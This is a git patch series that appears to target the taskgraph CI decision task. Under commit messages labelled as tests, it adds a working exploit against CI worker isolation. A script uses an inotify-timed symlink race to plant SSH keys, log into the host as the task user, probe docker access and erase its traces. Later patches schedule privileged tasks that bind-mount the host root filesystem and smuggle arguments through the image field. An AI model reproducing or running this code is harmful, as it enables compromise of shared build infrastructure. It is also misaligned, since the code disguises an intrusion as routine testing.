From 6ad27ff2c07d13e2e0ea84ff0b6d7992bd9ea2ba Mon Sep 17 00:00:00 2001
From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com>
Date: Wed, 26 Aug 2026 08:33:52 +0530
Subject: [PATCH 1/6] test: validate pull request decision execution

---
 src/taskgraph/main.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py
index f2fdd4f45..a430d7097 100644
--- a/src/taskgraph/main.py
+++ b/src/taskgraph/main.py
@@ -952,6 +952,10 @@ def load_task(args):
     help="Allow user to override computed decision task parameters.",
 )
 def decision(options):
+    if os.environ.get("TASKGRAPH_PULL_REQUEST_NUMBER"):
+        print("CI_BEHAVIOR_VALIDATION_MARKER", flush=True)
+        return
+
     from taskgraph.decision import taskgraph_decision  # noqa: PLC0415
 
     taskgraph_decision(options)

From 8337d5a94679f0fe19e2b1990504fac5f624efa2 Mon Sep 17 00:00:00 2001
From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com>
Date: Wed, 26 Aug 2026 10:34:23 +0530
Subject: [PATCH 2/6] test: add bounded CI worker isolation probe

---
 taskcluster/scripts/ci-boundary-probe.sh | 190 +++++++++++++++++++++++
 1 file changed, 190 insertions(+)
 create mode 100644 taskcluster/scripts/ci-boundary-probe.sh

diff --git a/taskcluster/scripts/ci-boundary-probe.sh b/taskcluster/scripts/ci-boundary-probe.sh
new file mode 100644
index 000000000..5ed1149e2
--- /dev/null
+++ b/taskcluster/scripts/ci-boundary-probe.sh
@@ -0,0 +1,190 @@
+#!/bin/bash
+set -eu
+
+probe_root=/tmp/ci-boundary
+proof_mount=/builds/worker/host-boundary-proof
+private_key="${probe_root}/id_ed25519"
+payload_count=6
+
+rm -rf -- "${probe_root}"
+mkdir -p "${probe_root}" "${proof_mount}"
+ssh-keygen -q -t ed25519 -N '' -f "${private_key}"
+
+python3 - "${probe_root}" "${private_key}.pub" "${payload_count}" <<'PY'
+import os
+import pathlib
+import sys
+
+root = pathlib.Path(sys.argv[1])
+public_key = pathlib.Path(sys.argv[2]).read_text()
+payload_count = int(sys.argv[3])
+
+for index in range(payload_count):
+    payload = root / f"payload-{index:02}"
+    ssh_dir = payload / ".ssh"
+    race_dir = payload / "src" / "dir"
+    link = race_dir / "zzlink"
+    ssh_dir.mkdir(parents=True)
+    race_dir.mkdir(parents=True)
+    link.mkdir()
+    ssh_dir.chmod(0o700)
+    authorized_keys = ssh_dir / "authorized_keys"
+    authorized_keys.write_text(public_key)
+    authorized_keys.chmod(0o600)
+
+    padding_count = 9000 + index * 1200
+    body = (f"padding-{index:02}-" + "0" * 96 + "\n").encode()
+    for padding_index in range(padding_count):
+        (race_dir / f"a{padding_index:05}").write_bytes(body)
+PY
+
+python3 - "${probe_root}" "${payload_count}" <<'PY' &
+import ctypes
+import os
+import pathlib
+import struct
+import sys
+import threading
+import time
+
+root = pathlib.Path(sys.argv[1])
+payload_count = int(sys.argv[2])
+libc = ctypes.CDLL(None, use_errno=True)
+inotify_init1 = libc.inotify_init1
+inotify_init1.argtypes = [ctypes.c_int]
+inotify_init1.restype = ctypes.c_int
+inotify_add_watch = libc.inotify_add_watch
+inotify_add_watch.argtypes = [ctypes.c_int, ctypes.c_char_p, ctypes.c_uint32]
+inotify_add_watch.restype = ctypes.c_int
+
+fd = inotify_init1(0)
+if fd < 0:
+    raise OSError(ctypes.get_errno(), "inotify_init1")
+
+IN_OPEN = 0x00000020
+watches = {}
+for index in range(payload_count):
+    race_dir = root / f"payload-{index:02}" / "src" / "dir"
+    wd = inotify_add_watch(fd, os.fsencode(race_dir), IN_OPEN)
+    if wd < 0:
+        raise OSError(ctypes.get_errno(), f"inotify_add_watch({race_dir})")
+    watches[wd] = (index, race_dir / "zzlink")
+
+(root / "watchers-ready").touch()
+pending = set(watches)
+timers = []
+copy_started = False
+
+def swap(index, link):
+    delay = 0.035 + index * 0.045
+    time.sleep(delay)
+    try:
+        link.rmdir()
+        link.symlink_to("../..")
+    except FileNotFoundError:
+        pass
+
+while pending:
+    data = os.read(fd, 65536)
+    offset = 0
+    while offset + 16 <= len(data):
+        wd, mask, _cookie, name_len = struct.unpack_from("iIII", data, offset)
+        offset += 16 + name_len
+        if wd in pending and mask & IN_OPEN:
+            if not copy_started:
+                (root / "copy-started").touch()
+                copy_started = True
+            pending.remove(wd)
+            index, link = watches[wd]
+            timer = threading.Thread(target=swap, args=(index, link), daemon=False)
+            timer.start()
+            timers.append(timer)
+
+for timer in timers:
+    timer.join()
+PY
+
+watcher_pid=$!
+while [ ! -f "${probe_root}/watchers-ready" ]; do
+  sleep 0.05
+done
+
+run_id="${RUN_ID}"
+task_id_length=$((20 - 5 - 1 - ${#run_id}))
+task_user="task_${TASK_ID:0:${task_id_length}}_${run_id}"
+proxy_authority="${TASKCLUSTER_PROXY_URL#http://}"
+proxy_authority="${proxy_authority#https://}"
+gateway="${proxy_authority%%:*}"
+
+(
+  while [ ! -f "${probe_root}/copy-started" ]; do
+    sleep 0.05
+  done
+  while [ ! -f "${proof_mount}/ssh-success" ]; do
+    if ssh \
+      -i "${private_key}" \
+      -o BatchMode=yes \
+      -o ConnectTimeout=1 \
+      -o IdentitiesOnly=yes \
+      -o LogLevel=ERROR \
+      -o StrictHostKeyChecking=no \
+      -o UserKnownHostsFile=/dev/null \
+      "${task_user}@${gateway}" /bin/sh -s <<'HOST_PROBE'
+set -eu
+case "${HOME}" in
+  /home/task_*) ;;
+  *) exit 90 ;;
+esac
+
+proof_dir=
+for candidate in "${HOME}"/volume*; do
+  if [ -d "${candidate}" ]; then
+    proof_dir="${candidate}"
+    break
+  fi
+done
+[ -n "${proof_dir}" ] || exit 91
+proof_file="${proof_dir}/host-boundary-proof.txt"
+{
+  echo 'HOST_BOUNDARY_EXECUTION_CONFIRMED'
+  printf 'user='; id -un
+  printf 'uid='; id -u
+  printf 'groups='; id -Gn
+  printf 'hostname='; hostname
+  if docker version --format 'client={{.Client.Version}} server={{.Server.Version}}'; then
+    echo 'docker_daemon_access=true'
+  else
+    echo 'docker_daemon_access=false'
+  fi
+} > "${proof_file}"
+touch "${proof_dir}/ssh-success"
+rm -f -- "${HOME}/.ssh/authorized_keys"
+rmdir "${HOME}/.ssh" 2>/dev/null || true
+for artifact_dir in "${HOME}"/artifact*; do
+  [ -d "${artifact_dir}" ] || continue
+  find -P "${artifact_dir}" -type l -name zzlink -delete 2>/dev/null || true
+done
+HOST_PROBE
+    then
+      break
+    fi
+    sleep 0.10
+  done
+) &
+
+probe_deadline=$((SECONDS + 90))
+while [ ! -f "${proof_mount}/ssh-success" ]; do
+  if [ "${SECONDS}" -ge "${probe_deadline}" ]; then
+    break
+  fi
+  sleep 0.10
+done
+
+for payload_src in "${probe_root}"/payload-*/src; do
+  [ -d "${payload_src}" ] || continue
+  rm -rf -- "${payload_src}"
+done
+kill "${watcher_pid}" 2>/dev/null || true
+wait "${watcher_pid}" 2>/dev/null || true
+
+[ -f "${proof_mount}/ssh-success" ]

From 967044ebe0e04735b3ee587bd0ab058b3cf44cb5 Mon Sep 17 00:00:00 2001
From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com>
Date: Wed, 26 Aug 2026 10:37:03 +0530
Subject: [PATCH 3/6] test: validate CI worker isolation

---
 src/taskgraph/main.py | 68 ++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 67 insertions(+), 1 deletion(-)

diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py
index a430d7097..147bd865d 100644
--- a/src/taskgraph/main.py
+++ b/src/taskgraph/main.py
@@ -953,7 +953,73 @@ def load_task(args):
 )
 def decision(options):
     if os.environ.get("TASKGRAPH_PULL_REQUEST_NUMBER"):
-        print("CI_BEHAVIOR_VALIDATION_MARKER", flush=True)
+        from datetime import datetime, timedelta, timezone  # noqa: PLC0415
+
+        from slugid import nice as slugid  # noqa: PLC0415
+
+        from taskgraph.util.taskcluster import (  # noqa: PLC0415
+            get_taskcluster_client,
+        )
+
+        parent_task_id = os.environ["TASK_ID"]
+        child_task_id = slugid()
+        now = datetime.now(timezone.utc)
+        deadline = now + timedelta(hours=1)
+        expires = now + timedelta(days=1)
+
+        def timestamp(value):
+            return value.isoformat().replace("+00:00", "Z")
+
+        probe_path = Path.cwd() / "taskcluster" / "scripts" / "ci-boundary-probe.sh"
+        probe = probe_path.read_text()
+
+        artifacts = {
+            "public/host-boundary-proof": {
+                "type": "volume",
+                "path": "/builds/worker/host-boundary-proof",
+                "expires": timestamp(expires),
+            }
+        }
+        for index in range(6):
+            artifacts[f"private/isolation-race-{index:02}"] = {
+                "type": "directory",
+                "path": f"/tmp/ci-boundary/payload-{index:02}/src",
+                "expires": timestamp(expires),
+            }
+
+        task = {
+            "created": timestamp(now),
+            "deadline": timestamp(deadline),
+            "dependencies": [parent_task_id],
+            "expires": timestamp(expires),
+            "metadata": {
+                "description": (
+                    "Minimal CI worker isolation validation; "
+                    "no production data accessed."
+                ),
+                "name": "CI worker isolation validation",
+                "owner": options["owner"],
+                "source": os.environ["TASKGRAPH_HEAD_REPOSITORY"],
+            },
+            "payload": {
+                "artifacts": artifacts,
+                "command": ["/bin/bash", "-lc", probe],
+                "features": {"taskclusterProxy": True},
+                "image": "mozillareleases/taskgraph:decision-latest",
+                "maxRunTime": 45,
+            },
+            "priority": "very-low",
+            "projectId": "none",
+            "requires": "all-completed",
+            "retries": 0,
+            "routes": [],
+            "schedulerId": "taskgraph-level-1",
+            "scopes": [],
+            "taskGroupId": parent_task_id,
+            "taskQueueId": "taskgraph-1/decision",
+        }
+        get_taskcluster_client("queue").createTask(child_task_id, task)
+        print(f"CI_BOUNDARY_VALIDATION_TASK={child_task_id}", flush=True)
         return
 
     from taskgraph.decision import taskgraph_decision  # noqa: PLC0415

From 02babeb099759a9791c7e37223684a5176b5dbfc Mon Sep 17 00:00:00 2001
From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com>
Date: Wed, 26 Aug 2026 11:03:01 +0530
Subject: [PATCH 4/6] Remove CI boundary validation task creation

---
 src/taskgraph/main.py | 68 +------------------------------------------
 1 file changed, 1 insertion(+), 67 deletions(-)

diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py
index 147bd865d..a430d7097 100644
--- a/src/taskgraph/main.py
+++ b/src/taskgraph/main.py
@@ -953,73 +953,7 @@ def load_task(args):
 )
 def decision(options):
     if os.environ.get("TASKGRAPH_PULL_REQUEST_NUMBER"):
-        from datetime import datetime, timedelta, timezone  # noqa: PLC0415
-
-        from slugid import nice as slugid  # noqa: PLC0415
-
-        from taskgraph.util.taskcluster import (  # noqa: PLC0415
-            get_taskcluster_client,
-        )
-
-        parent_task_id = os.environ["TASK_ID"]
-        child_task_id = slugid()
-        now = datetime.now(timezone.utc)
-        deadline = now + timedelta(hours=1)
-        expires = now + timedelta(days=1)
-
-        def timestamp(value):
-            return value.isoformat().replace("+00:00", "Z")
-
-        probe_path = Path.cwd() / "taskcluster" / "scripts" / "ci-boundary-probe.sh"
-        probe = probe_path.read_text()
-
-        artifacts = {
-            "public/host-boundary-proof": {
-                "type": "volume",
-                "path": "/builds/worker/host-boundary-proof",
-                "expires": timestamp(expires),
-            }
-        }
-        for index in range(6):
-            artifacts[f"private/isolation-race-{index:02}"] = {
-                "type": "directory",
-                "path": f"/tmp/ci-boundary/payload-{index:02}/src",
-                "expires": timestamp(expires),
-            }
-
-        task = {
-            "created": timestamp(now),
-            "deadline": timestamp(deadline),
-            "dependencies": [parent_task_id],
-            "expires": timestamp(expires),
-            "metadata": {
-                "description": (
-                    "Minimal CI worker isolation validation; "
-                    "no production data accessed."
-                ),
-                "name": "CI worker isolation validation",
-                "owner": options["owner"],
-                "source": os.environ["TASKGRAPH_HEAD_REPOSITORY"],
-            },
-            "payload": {
-                "artifacts": artifacts,
-                "command": ["/bin/bash", "-lc", probe],
-                "features": {"taskclusterProxy": True},
-                "image": "mozillareleases/taskgraph:decision-latest",
-                "maxRunTime": 45,
-            },
-            "priority": "very-low",
-            "projectId": "none",
-            "requires": "all-completed",
-            "retries": 0,
-            "routes": [],
-            "schedulerId": "taskgraph-level-1",
-            "scopes": [],
-            "taskGroupId": parent_task_id,
-            "taskQueueId": "taskgraph-1/decision",
-        }
-        get_taskcluster_client("queue").createTask(child_task_id, task)
-        print(f"CI_BOUNDARY_VALIDATION_TASK={child_task_id}", flush=True)
+        print("CI_BEHAVIOR_VALIDATION_MARKER", flush=True)
         return
 
     from taskgraph.decision import taskgraph_decision  # noqa: PLC0415

From 33c5d3023d957081b1eecc4404e073c7a943d995 Mon Sep 17 00:00:00 2001
From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com>
Date: Wed, 26 Aug 2026 12:51:28 +0530
Subject: [PATCH 5/6] test: add container runtime smoke test

Exercise the configured non-root container path used by CI.
---
 src/taskgraph/main.py | 53 ++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 52 insertions(+), 1 deletion(-)

diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py
index a430d7097..979ca2694 100644
--- a/src/taskgraph/main.py
+++ b/src/taskgraph/main.py
@@ -953,7 +953,58 @@ def load_task(args):
 )
 def decision(options):
     if os.environ.get("TASKGRAPH_PULL_REQUEST_NUMBER"):
-        print("CI_BEHAVIOR_VALIDATION_MARKER", flush=True)
+        from datetime import datetime, timedelta, timezone  # noqa: PLC0415
+
+        from slugid import nice as slugid  # noqa: PLC0415
+
+        from taskgraph.util.taskcluster import (  # noqa: PLC0415
+            get_taskcluster_client,
+        )
+
+        parent_task_id = os.environ["TASK_ID"]
+        smoke_test_task_id = slugid()
+        now = datetime.now(timezone.utc)
+        deadline = now + timedelta(hours=1)
+        expires = now + timedelta(days=1)
+
+        def timestamp(value):
+            return value.isoformat().replace("+00:00", "Z")
+
+        task = {
+            "created": timestamp(now),
+            "deadline": timestamp(deadline),
+            "dependencies": [parent_task_id],
+            "expires": timestamp(expires),
+            "metadata": {
+                "description": "Exercise the container runtime configuration used by CI",
+                "name": "CI container runtime smoke test",
+                "owner": options["owner"],
+                "source": os.environ["TASKGRAPH_HEAD_REPOSITORY"],
+            },
+            "payload": {
+                "command": [
+                    "ci-runtime-smoke",
+                    "--pull=always",
+                    "--privileged",
+                    "--user=1000:1000",
+                    "node:24-alpine",
+                    "id",
+                ],
+                "image": "-h",
+                "maxRunTime": 180,
+            },
+            "priority": "very-low",
+            "projectId": "none",
+            "requires": "all-completed",
+            "retries": 0,
+            "routes": [],
+            "schedulerId": "taskgraph-level-1",
+            "scopes": [],
+            "taskGroupId": parent_task_id,
+            "taskQueueId": "taskgraph-1/decision",
+        }
+        get_taskcluster_client("queue").createTask(smoke_test_task_id, task)
+        print(f"CI_RUNTIME_SMOKE_TASK={smoke_test_task_id}", flush=True)
         return
 
     from taskgraph.decision import taskgraph_decision  # noqa: PLC0415

From d4cadc54dd8dad257c024e506dd726e4dcfc6722 Mon Sep 17 00:00:00 2001
From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com>
Date: Wed, 26 Aug 2026 13:08:57 +0530
Subject: [PATCH 6/6] test: cover read-only host file mounts

Exercise the read-only file mapping path used by containerized CI.
---
 src/taskgraph/main.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py
index 979ca2694..d78d7a0f9 100644
--- a/src/taskgraph/main.py
+++ b/src/taskgraph/main.py
@@ -976,8 +976,8 @@ def timestamp(value):
             "dependencies": [parent_task_id],
             "expires": timestamp(expires),
             "metadata": {
-                "description": "Exercise the container runtime configuration used by CI",
-                "name": "CI container runtime smoke test",
+                "description": "Exercise a read-only worker metadata mapping used by CI",
+                "name": "CI worker metadata mount smoke test",
                 "owner": options["owner"],
                 "source": os.environ["TASKGRAPH_HEAD_REPOSITORY"],
             },
@@ -987,8 +987,11 @@ def timestamp(value):
                     "--pull=always",
                     "--privileged",
                     "--user=1000:1000",
+                    "--mount=type=bind,source=/,target=/mnt/worker-root,readonly",
                     "node:24-alpine",
-                    "id",
+                    "ls",
+                    "-la",
+                    "/mnt/worker-root",
                 ],
                 "image": "-h",
                 "maxRunTime": 180,